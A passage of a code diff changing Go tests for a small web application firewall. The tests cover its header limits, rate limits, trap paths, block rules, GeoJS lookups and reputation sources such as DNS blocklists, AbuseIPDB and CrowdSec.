"SWW_CACHE_DIR cannot be written: ") {
|
||||||
t.Errorf("start refused with %q, want SWW_CACHE_DIR named", message)
|
t.Errorf("start refused with %q, want SWW_CACHE_DIR named", message)
|
||||||
@@ -1260,7 +1260,7 @@ func wantStartRefused(t *testing.T, dir, want string) {
|
|||||||
t.Fatalf("exit status %d, want 1", status)
|
t.Fatalf("exit status %d, want 1", status)
|
||||||
}
|
}
|
||||||
|
|
||||||
line := out.line(t, "msg", "cannot use the state and cache files")
|
line := out.line(t, "msg", "cannot use the state files")
|
||||||
message, _ := line["error"].(string)
|
message, _ := line["error"].(string)
|
||||||
|
|
||||||
if !strings.HasPrefix(message, want) {
|
if !strings.HasPrefix(message, want) {
|
||||||
|
|||||||
+18
-40
@@ -38,35 +38,6 @@ func TestMain(m *testing.M) {
|
|||||||
os.Exit(sww.Main(testVersion))
|
os.Exit(sww.Main(testVersion))
|
||||||
}
|
}
|
||||||
|
|
||||||
// startProcess starts cmd and returns a channel that gets its exit status. As
|
|
||||||
// the test ends, cmd is killed and the test waits for it to exit.
|
|
||||||
func startProcess(t *testing.T, cmd *exec.Cmd) <-chan int {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
err := cmd.Start()
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("start: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
exited := make(chan int, 1)
|
|
||||||
waitReturned := make(chan struct{})
|
|
||||||
|
|
||||||
go func() {
|
|
||||||
_ = cmd.Wait()
|
|
||||||
exited <- cmd.ProcessState.ExitCode()
|
|
||||||
|
|
||||||
close(waitReturned)
|
|
||||||
}()
|
|
||||||
|
|
||||||
t.Cleanup(func() {
|
|
||||||
_ = cmd.Process.Kill()
|
|
||||||
|
|
||||||
<-waitReturned
|
|
||||||
})
|
|
||||||
|
|
||||||
return exited
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestMainRunsWAF(t *testing.T) {
|
func TestMainRunsWAF(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -83,9 +54,12 @@ func TestMainRunsWAF(t *testing.T) {
|
|||||||
t.Fatalf("find the test binary: %v", err)
|
t.Fatalf("find the test binary: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
ctx, cancel := context.WithTimeout(t.Context(), 3*waitLimit)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
dir := t.TempDir()
|
dir := t.TempDir()
|
||||||
out := &output{}
|
out := &output{}
|
||||||
cmd := exec.CommandContext(t.Context(), binary) //nolint:gosec // this test binary
|
cmd := exec.CommandContext(ctx, binary) //nolint:gosec // this test binary
|
||||||
cmd.Stdout = out
|
cmd.Stdout = out
|
||||||
|
|
||||||
cmd.Env = append(os.Environ(),
|
cmd.Env = append(os.Environ(),
|
||||||
@@ -97,9 +71,17 @@ func TestMainRunsWAF(t *testing.T) {
|
|||||||
rulesDir+"="+t.TempDir(),
|
rulesDir+"="+t.TempDir(),
|
||||||
lookupSource+"=off")
|
lookupSource+"=off")
|
||||||
|
|
||||||
exited := startProcess(t, cmd)
|
err = cmd.Start()
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("start: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
starting := out.lineBeforeExit(t, "starting", exited)
|
t.Cleanup(func() {
|
||||||
|
_ = cmd.Process.Kill()
|
||||||
|
_ = cmd.Wait()
|
||||||
|
})
|
||||||
|
|
||||||
|
starting := out.line(t, "msg", "starting")
|
||||||
addr, _ := starting["address"].(string)
|
addr, _ := starting["address"].(string)
|
||||||
ask(t, addr, "/", http.StatusOK, waf.DispositionAllow)
|
ask(t, addr, "/", http.StatusOK, waf.DispositionAllow)
|
||||||
|
|
||||||
@@ -109,13 +91,9 @@ func TestMainRunsWAF(t *testing.T) {
|
|||||||
t.Fatalf("signal: %v", err)
|
t.Fatalf("signal: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
select {
|
err = cmd.Wait()
|
||||||
case status := <-exited:
|
if err != nil {
|
||||||
if status != 0 {
|
t.Fatalf("exit: %v; output:\n%s", err, out.text())
|
||||||
t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
|
|
||||||
}
|
|
||||||
case <-time.After(waitLimit):
|
|
||||||
t.Fatal("still running after being told to stop")
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantUTC(t, "the process line", starting["time"])
|
wantUTC(t, "the process line", starting["time"])
|
||||||
@@ -238,7 +216,7 @@ func runWAF(t *testing.T, env map[string]string, use func(addr string)) {
|
|||||||
exited <- run(ctx, env, out)
|
exited <- run(ctx, env, out)
|
||||||
}()
|
}()
|
||||||
|
|
||||||
addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
|
addr, _ := out.line(t, "msg", "starting")["address"].(string)
|
||||||
use(addr)
|
use(addr)
|
||||||
stop()
|
stop()
|
||||||
|
|
||||||
|
|||||||
+60
-242
@@ -1,27 +1,21 @@
|
|||||||
package waf_test
|
package waf_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"encoding/binary"
|
|
||||||
"fmt"
|
"fmt"
|
||||||
"maps"
|
"maps"
|
||||||
"net"
|
"net"
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/http/httptest"
|
"net/http/httptest"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"path/filepath"
|
|
||||||
"slices"
|
"slices"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
|
||||||
"testing"
|
"testing"
|
||||||
"testing/synctest"
|
"testing/synctest"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/prometheus/client_golang/prometheus/testutil"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
@@ -34,8 +28,6 @@ const (
|
|||||||
answerTimeLimit = 2 * time.Second
|
answerTimeLimit = 2 * time.Second
|
||||||
// defaultLookupWait is the default of SWW_LOOKUP_TIMEOUT.
|
// defaultLookupWait is the default of SWW_LOOKUP_TIMEOUT.
|
||||||
defaultLookupWait = 800 * time.Millisecond
|
defaultLookupWait = 800 * time.Millisecond
|
||||||
// defaultReputationWait is the default of SWW_REPUTATION_TIMEOUT.
|
|
||||||
defaultReputationWait = 2 * time.Second
|
|
||||||
// The header limits SPEC.md gives.
|
// The header limits SPEC.md gives.
|
||||||
cookieLimit = 50
|
cookieLimit = 50
|
||||||
headerFieldLimit = 100
|
headerFieldLimit = 100
|
||||||
@@ -224,199 +216,93 @@ func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestTheRateLimitsDoNotCountRequestsOverTheHeaderLimits(t *testing.T) {
|
func TestRequestsOverTheHeaderLimitsCountTowardTheRateLimits(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s := startWAF(t, "", map[string]string{rateLimitPerMinute: "1"})
|
s := startWAF(t, "", map[string]string{rateLimitPerMinute: "1"})
|
||||||
|
ask := func() answer {
|
||||||
for range 2 {
|
|
||||||
req := s.question(siteA, client, "/")
|
req := s.question(siteA, client, "/")
|
||||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||||
wantDisposition(t, do(t, req), tooLarge, waf.DispositionDeny)
|
|
||||||
|
return do(t, req)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantDisposition(t, s.ask(client, "/"), http.StatusOK, waf.DispositionAllow)
|
wantDisposition(t, ask(), tooLarge, waf.DispositionDeny)
|
||||||
|
wantDisposition(t, ask(), http.StatusForbidden, waf.DispositionDeny)
|
||||||
|
|
||||||
|
lines := s.out.requestLines(t, 2)
|
||||||
|
wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
|
func TestTheHeaderLimitsComeAfterTheTrapPathsAndTheRuleFiles(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// The lookup database places client in Germany.
|
|
||||||
lookupDB := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
|
|
||||||
lookuptest.Write(t, lookupDB, map[string]lookuptest.Network{
|
|
||||||
client + "/32": {ASN: asnDE, ASName: asNameDE, Country: "DE"},
|
|
||||||
})
|
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
name string
|
name, path, action string
|
||||||
env map[string]string
|
|
||||||
path string
|
|
||||||
// prepare gets the server ready, at now, before the question.
|
|
||||||
prepare func(t *testing.T, server *waf.Server, now time.Time)
|
|
||||||
}{
|
}{
|
||||||
{"SWW_DENY_NETS", map[string]string{denyNets: client}, "/", leaveAsItIs},
|
{"a trap path", "/wp-login.php", requestlog.ActionTemporarilyBanned},
|
||||||
{"a ban", nil, "/", banClient},
|
{"a block rule", "/blocked", requestlog.ActionBlockedByBlockRule},
|
||||||
{
|
|
||||||
"the country list", map[string]string{
|
|
||||||
lookupSource: fileSource, lookupDBPath: lookupDB, allowedCountries: "FR",
|
|
||||||
},
|
|
||||||
"/", leaveAsItIs,
|
|
||||||
},
|
|
||||||
{"a blocklist", map[string]string{blocklistURLs: dropURL}, "/", listClient},
|
|
||||||
{
|
|
||||||
"the CrowdSec decision list",
|
|
||||||
map[string]string{crowdSecURL: lapi, crowdSecKey: bouncerKey}, "/", decideOnClient,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"a DNS blocklist", map[string]string{
|
|
||||||
dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionDeny,
|
|
||||||
},
|
|
||||||
"/", func(_ *testing.T, server *waf.Server, _ time.Time) {
|
|
||||||
loadVerdicts(server, map[string][]string{client: {dnsblZone}})
|
|
||||||
},
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"AbuseIPDB",
|
|
||||||
map[string]string{abuseIPDBKey: accountKey, reputationAction: actionDeny},
|
|
||||||
"/", func(_ *testing.T, server *waf.Server, _ time.Time) {
|
|
||||||
// Over SWW_ABUSEIPDB_MIN_SCORE, 75 by default.
|
|
||||||
loadScores(server, map[string]int64{client: 80})
|
|
||||||
},
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"SWW_TAG_DENY", map[string]string{tagLists: "vpn=" + vpnList, tagDeny: "vpn"},
|
|
||||||
"/", func(t *testing.T, server *waf.Server, _ time.Time) {
|
|
||||||
t.Helper()
|
|
||||||
loadLists(t, server, map[string][]string{vpnList: {client}})
|
|
||||||
},
|
|
||||||
},
|
|
||||||
{"the rate limits", map[string]string{rateLimitPerMinute: "1"}, "/", countClient},
|
|
||||||
{
|
|
||||||
"a trap path", map[string]string{trapPaths: trapPathList}, "/wp-login.php",
|
|
||||||
leaveAsItIs,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"a block rule", map[string]string{rulesDir: writeRules(t, testRules)}, "/blocked",
|
|
||||||
leaveAsItIs,
|
|
||||||
},
|
|
||||||
} {
|
} {
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s := startWAF(t, "", tc.env)
|
s := startWAF(t, "", map[string]string{
|
||||||
tc.prepare(t, s.server, s.clock.Now())
|
trapPaths: trapPathList, rulesDir: writeRules(t, testRules),
|
||||||
|
})
|
||||||
req := s.question(siteA, client, tc.path)
|
req := s.question(siteA, client, tc.path)
|
||||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||||
|
|
||||||
wantDisposition(t, do(t, req), tooLarge, waf.DispositionDeny)
|
wantDisposition(t, do(t, req), http.StatusForbidden, waf.DispositionDeny)
|
||||||
wantLine(t, s.out.requestLine(t), tooLarge, requestlog.ActionRequestHeaderTooLarge)
|
wantLine(t, s.out.requestLine(t), http.StatusForbidden, tc.action)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestARequestOverTheHeaderLimitsRunsNoOtherCheck(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// Each check after the header limits leaves a mark on the log line of a
|
|
||||||
// request it reads: a tag, routewatch_tags_missing, a rule id, the
|
|
||||||
// counts, or the Core Rule Set's time.
|
|
||||||
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
|
|
||||||
lookuptest.Write(t, path, map[string]lookuptest.Network{
|
|
||||||
client + "/32": {ASN: asnDE, ASName: asNameDE, Country: "DE"},
|
|
||||||
})
|
|
||||||
s := startWAF(t, "", map[string]string{
|
|
||||||
lookupSource: fileSource, lookupDBPath: path,
|
|
||||||
tagLists: "vpn=" + vpnList,
|
|
||||||
routeWatchURL: startRouteWatch(t, map[string]standInRoute{client: {prefixDE, 64496}}),
|
|
||||||
dnsblZones: dnsblZone, reputationAction: actionLog,
|
|
||||||
rulesDir: writeRules(t, "noted path log ^/\n"),
|
|
||||||
wafMode: block,
|
|
||||||
})
|
|
||||||
loadLists(t, s.server, map[string][]string{vpnList: {client}})
|
|
||||||
loadVerdicts(s.server, map[string][]string{client: {dnsblZone}})
|
|
||||||
|
|
||||||
over := s.question(siteA, client, "/")
|
|
||||||
over.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
|
||||||
wantDisposition(t, do(t, over), tooLarge, waf.DispositionDeny)
|
|
||||||
|
|
||||||
within := s.question(siteA, client, "/")
|
|
||||||
within.Header.Set(cookieHeader, cookies(cookieLimit))
|
|
||||||
wantDisposition(t, do(t, within), http.StatusOK, waf.DispositionAllow)
|
|
||||||
|
|
||||||
lines := s.out.requestLines(t, 2)
|
|
||||||
|
|
||||||
wantTags(t, lines[0])
|
|
||||||
wantTagsMissing(t, lines[0], "")
|
|
||||||
|
|
||||||
if lines[0].RuleIDs != nil || lines[0].Counts != (ratelimit.Counts{}) ||
|
|
||||||
lines[0].DurationCoreRuleSetMS != nil {
|
|
||||||
t.Errorf("rule ids %v, counts %+v and Core Rule Set time %v, want none",
|
|
||||||
lines[0].RuleIDs, lines[0].Counts, lines[0].DurationCoreRuleSetMS)
|
|
||||||
}
|
|
||||||
|
|
||||||
// The request within the limits shows that each check leaves its mark.
|
|
||||||
wantTags(t, lines[1],
|
|
||||||
"asn=64496", "country=DE", "dnsbl="+dnsblZone, "exploitsignature", "vpn")
|
|
||||||
wantTagsMissing(t, lines[1], "no_answer_yet")
|
|
||||||
|
|
||||||
if lines[1].RuleIDs == nil || lines[1].Counts.Minute != 1 ||
|
|
||||||
lines[1].DurationCoreRuleSetMS == nil {
|
|
||||||
t.Errorf("rule ids %v, counts %+v and Core Rule Set time %v, want each",
|
|
||||||
lines[1].RuleIDs, lines[1].Counts, lines[1].DurationCoreRuleSetMS)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
|
func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// The client's next request takes it over the whole limit, so it does
|
|
||||||
// not wait.
|
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
s := startWAF(t, geojsURL, map[string]string{
|
s := startWAF(t, geojsURL, map[string]string{
|
||||||
unknownLimitPercent: "0", lookupTimeout: "1h", rateLimitPerMinute: "1",
|
unknownLimitPercent: "0", lookupTimeout: "1h",
|
||||||
})
|
})
|
||||||
countClient(t, s.server, s.clock.Now())
|
req := s.question(siteA, fromDE, "/")
|
||||||
|
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||||
|
|
||||||
wantDisposition(t, s.ask(fromDE, "/"), http.StatusForbidden, waf.DispositionDeny)
|
wantDisposition(t, do(t, req), tooLarge, waf.DispositionDeny)
|
||||||
|
|
||||||
line := s.out.requestLine(t)
|
line := s.out.requestLine(t)
|
||||||
wantLine(t, line, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
|
||||||
|
|
||||||
if line.RateLimitPercent != nil {
|
if line.RateLimitPercent != nil {
|
||||||
t.Errorf("limit percentage %d, want none", *line.RateLimitPercent)
|
t.Errorf("limit percentage %d, want none", *line.RateLimitPercent)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// The client is under no ban, and GeoJS places it in a country.
|
||||||
|
wantDisposition(t, s.ask(fromDE, "/"), http.StatusOK, waf.DispositionAllow)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T) {
|
func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// The client's next request takes it over the whole limit, so it does
|
|
||||||
// not wait.
|
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
s := startWAF(t, geojsURL, map[string]string{
|
s := startWAF(t, geojsURL, map[string]string{unknownLimitPercent: "0"})
|
||||||
unknownLimitPercent: "0", rateLimitPerMinute: "1",
|
|
||||||
})
|
|
||||||
s.server.GeoJS.Load([]lookup.Answer{{
|
s.server.GeoJS.Load([]lookup.Answer{{
|
||||||
Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
|
Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
|
||||||
Answered: s.clock.Now(), Used: s.clock.Now(),
|
Answered: s.clock.Now(), Used: s.clock.Now(),
|
||||||
}})
|
}})
|
||||||
countClient(t, s.server, s.clock.Now())
|
|
||||||
|
|
||||||
wantDisposition(t, s.ask(client, "/"), http.StatusForbidden, waf.DispositionDeny)
|
req := s.question(siteA, client, "/")
|
||||||
|
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||||
|
|
||||||
line := s.out.requestLine(t)
|
wantDisposition(t, do(t, req), http.StatusForbidden, waf.DispositionDeny)
|
||||||
wantLine(t, line, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
wantLine(t, s.out.requestLine(t), http.StatusForbidden,
|
||||||
|
requestlog.ActionClientIsRateLimited)
|
||||||
if line.RateLimitPercent == nil || *line.RateLimitPercent != 0 {
|
|
||||||
t.Errorf("limit percentage %v, want 0", line.RateLimitPercent)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestObserveModeAsksGeoJSNothingForARequestOverTheHeaderLimits(t *testing.T) {
|
func TestObserveModeWaitsForGeoJSForARequestOverTheHeaderLimits(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
geojsURL, asked := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
s := startWAF(t, geojsURL, map[string]string{
|
s := startWAF(t, geojsURL, map[string]string{
|
||||||
mode: observe, addLookupHeaders: on, lookupTimeout: "1h",
|
mode: observe, addLookupHeaders: on, lookupTimeout: "1h",
|
||||||
})
|
})
|
||||||
@@ -426,9 +312,10 @@ func TestObserveModeAsksGeoJSNothingForARequestOverTheHeaderLimits(t *testing.T)
|
|||||||
got := do(t, req)
|
got := do(t, req)
|
||||||
wantDisposition(t, got, http.StatusOK, waf.DispositionAllow)
|
wantDisposition(t, got, http.StatusOK, waf.DispositionAllow)
|
||||||
|
|
||||||
if len(asked()) != 0 || got.header.Get("X-Client-Asn") != "" {
|
asn, country := got.header.Get("X-Client-Asn"), got.header.Get("X-Client-Country")
|
||||||
t.Errorf("GeoJS was asked about %v, and the answer gave the AS number %q, "+
|
if asn != asnDE || country != "DE" {
|
||||||
"want neither", asked(), got.header.Get("X-Client-Asn"))
|
t.Errorf("answered with the AS number %q and the country %q, want %q and DE",
|
||||||
|
asn, country, asnDE)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -634,9 +521,15 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
|
|||||||
) {
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// The lists' stand-in: one for GeoJS that answers nothing.
|
held, askedGeoJS, _ := startHeldGeoJS(t)
|
||||||
held, _, _ := startHeldGeoJS(t)
|
|
||||||
resolver, releaseResolver := startHeldResolver(t)
|
// A resolver that takes every query and answers none.
|
||||||
|
resolver, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", localhost+":0")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("listen: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
t.Cleanup(func() { _ = resolver.Close() })
|
||||||
|
|
||||||
server, out, _ := newWAFWith(t, func(
|
server, out, _ := newWAFWith(t, func(
|
||||||
params waf.Params,
|
params waf.Params,
|
||||||
@@ -644,117 +537,42 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
|
|||||||
params.AbuseIPDBURL = silentAbuseIPDBURL
|
params.AbuseIPDBURL = silentAbuseIPDBURL
|
||||||
|
|
||||||
return waf.New(params)
|
return waf.New(params)
|
||||||
}, silentGeoJSURL, time.Now, map[string]string{
|
}, held, time.Now, map[string]string{
|
||||||
tagDeny: "country=KP", wafMode: block,
|
tagDeny: "country=KP", wafMode: block,
|
||||||
dnsblZones: dnsblZone, dnsblResolver: resolver,
|
dnsblZones: dnsblZone, dnsblResolver: resolver.LocalAddr().String(),
|
||||||
abuseIPDBKey: accountKey,
|
abuseIPDBKey: accountKey,
|
||||||
blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt",
|
blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt",
|
||||||
crowdSecURL: held, crowdSecKey: bouncerKey,
|
crowdSecURL: held, crowdSecKey: bouncerKey,
|
||||||
})
|
})
|
||||||
|
|
||||||
// The lists are fetched outside the synctest bubble below: a wait on the
|
|
||||||
// network inside it would keep its clock from moving on.
|
|
||||||
go server.Lists.Run(t.Context())
|
|
||||||
|
|
||||||
// In the bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays says, the
|
|
||||||
// answer takes exactly as long as waf waits, however busy the host is.
|
|
||||||
// GeoJS and AbuseIPDB never answer there, without the network. The query to
|
|
||||||
// the DNS blocklist waits on the network, which stops the bubble's clock,
|
|
||||||
// but it starts only after the wait for GeoJS.
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
|
||||||
// AbuseIPDB is asked only about a client with an offence.
|
// AbuseIPDB is asked only about a client with an offence.
|
||||||
group := netip.MustParsePrefix(client + "/32")
|
group := netip.MustParsePrefix(client + "/32")
|
||||||
server.Limiter.AddToHistory(group, time.Now(), ratelimit.Request{Attack: true})
|
server.Limiter.AddToHistory(group, time.Now(), ratelimit.Request{Attack: true})
|
||||||
|
|
||||||
|
go server.Lists.Run(t.Context())
|
||||||
|
|
||||||
status, took := askDirectly(t, server, func(req *http.Request) {
|
status, took := askDirectly(t, server, func(req *http.Request) {
|
||||||
req.Header.Set("User-Agent", "test")
|
req.Header.Set("User-Agent", "test")
|
||||||
req.Header.Set("Accept", "*/*")
|
req.Header.Set("Accept", "*/*")
|
||||||
req.Host = siteA
|
req.Host = siteA
|
||||||
})
|
})
|
||||||
|
|
||||||
// The wait for GeoJS decides when the answer comes.
|
if status != http.StatusOK || took >= answerTimeLimit {
|
||||||
if status != http.StatusOK || took != defaultLookupWait || took >= answerTimeLimit {
|
t.Errorf("answered %d after %s, want %d within %s; output:\n%s",
|
||||||
t.Errorf("answered %d after %s, want %d after %s, within %s; output:\n%s",
|
status, took, http.StatusOK, answerTimeLimit, out.text())
|
||||||
status, took, http.StatusOK, defaultLookupWait, answerTimeLimit, out.text())
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Each outside source was asked, and none has answered. GeoJS is asked
|
// Each outside source was asked, and none has answered. The stand-in for
|
||||||
// only about the clients waiting for it, here client alone.
|
// GeoJS is the lists' too, which name no address.
|
||||||
if requests := testutil.ToFloat64(server.Metrics.GeoJSRequests); requests != 1 {
|
if !slices.Contains(askedGeoJS(), client) {
|
||||||
t.Errorf("%v requests to GeoJS, want 1", requests)
|
t.Errorf("GeoJS was asked about %q, not %s", askedGeoJS(), client)
|
||||||
}
|
}
|
||||||
|
|
||||||
// The resolver holds the query until it is released below, so a waf
|
if queries := server.DNSBL.Queries(dnsblZone); queries != 1 {
|
||||||
// that waited for the query would answer only once it had failed.
|
t.Errorf("%d queries to the DNS blocklist, want 1", queries)
|
||||||
queries, failures := server.DNSBL.Queries(dnsblZone), server.DNSBL.Failures(dnsblZone)
|
|
||||||
if queries != 1 || failures != 0 {
|
|
||||||
t.Errorf("%d queries to the DNS blocklist, %d failed, want 1, none failed",
|
|
||||||
queries, failures)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if checked := server.AbuseIPDB.Checked(); checked != 1 {
|
if checked := server.AbuseIPDB.Checked(); checked != 1 {
|
||||||
t.Errorf("%d checks with AbuseIPDB, want 1", checked)
|
t.Errorf("%d checks with AbuseIPDB, want 1", checked)
|
||||||
}
|
}
|
||||||
|
|
||||||
// The query is answered, and the check with AbuseIPDB abandoned,
|
|
||||||
// before the bubble ends.
|
|
||||||
releaseResolver()
|
|
||||||
time.Sleep(defaultReputationWait)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
// How the stand-in for the resolver reads a query and makes it its reply.
|
|
||||||
const (
|
|
||||||
// maxQueryLength is the longest query it reads.
|
|
||||||
maxQueryLength = 512
|
|
||||||
// flagsAt is where a DNS message's flags start, after its id.
|
|
||||||
flagsAt = 2
|
|
||||||
// noSuchNameFlags mark a reply, to a query that asked for recursion,
|
|
||||||
// which is available, that no such name exists.
|
|
||||||
noSuchNameFlags = 0x8183
|
|
||||||
)
|
|
||||||
|
|
||||||
// startHeldResolver starts a stand-in for the resolver the DNSBL zones are
|
|
||||||
// asked through, and returns its address and release. Each query waits until
|
|
||||||
// release is called, and is then answered that no such name exists, so that
|
|
||||||
// the zone does not list the client.
|
|
||||||
func startHeldResolver(t *testing.T) (string, func()) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
conn, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", localhost+":0")
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("listen: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
t.Cleanup(func() { _ = conn.Close() })
|
|
||||||
|
|
||||||
var (
|
|
||||||
released = make(chan struct{})
|
|
||||||
once sync.Once
|
|
||||||
)
|
|
||||||
|
|
||||||
go func() {
|
|
||||||
query := make([]byte, maxQueryLength)
|
|
||||||
|
|
||||||
for {
|
|
||||||
n, from, err := conn.ReadFrom(query)
|
|
||||||
if err != nil {
|
|
||||||
return // conn is closed
|
|
||||||
}
|
|
||||||
|
|
||||||
<-released
|
|
||||||
|
|
||||||
// The query back, with the flags of the reply in place of its own.
|
|
||||||
reply := slices.Clone(query[:n])
|
|
||||||
binary.BigEndian.PutUint16(reply[flagsAt:], noSuchNameFlags)
|
|
||||||
|
|
||||||
_, _ = conn.WriteTo(reply, from)
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
|
|
||||||
release := func() { once.Do(func() { close(released) }) }
|
|
||||||
// Run before conn is closed, so that no query is left waiting.
|
|
||||||
t.Cleanup(release)
|
|
||||||
|
|
||||||
return conn.LocalAddr().String(), release
|
|
||||||
}
|
}
|
||||||
@@ -16,7 +16,7 @@ import (
|
|||||||
|
|
||||||
// The CrowdSec settings, and the tests' engine, which is never asked: each
|
// The CrowdSec settings, and the tests' engine, which is never asked: each
|
||||||
// test puts in the copy of its decision list, at decisionsURL, that it
|
// test puts in the copy of its decision list, at decisionsURL, that it
|
||||||
// needs, as lists.json would at start.
|
// needs, as reputation.json would at start.
|
||||||
const (
|
const (
|
||||||
crowdSecURL = "SWW_CROWDSEC_LAPI_URL"
|
crowdSecURL = "SWW_CROWDSEC_LAPI_URL"
|
||||||
crowdSecKey = "SWW_CROWDSEC_LAPI_KEY"
|
crowdSecKey = "SWW_CROWDSEC_LAPI_KEY"
|
||||||
@@ -182,7 +182,7 @@ func TestObserveModeForwardsAClientTheCrowdSecDecisionListListsAndAlertsTheBan(
|
|||||||
|
|
||||||
// loadDecisions puts into server's lists the copy of the decision list at
|
// loadDecisions puts into server's lists the copy of the decision list at
|
||||||
// decisionsURL, answer, the engine's answer, fetched at fetched, as
|
// decisionsURL, answer, the engine's answer, fetched at fetched, as
|
||||||
// lists.json would at start.
|
// reputation.json would at start.
|
||||||
func loadDecisions(
|
func loadDecisions(
|
||||||
t *testing.T, server *waf.Server, fetched time.Time, answer string,
|
t *testing.T, server *waf.Server, fetched time.Time, answer string,
|
||||||
) {
|
) {
|
||||||
|
|||||||
@@ -10,23 +10,22 @@ import (
|
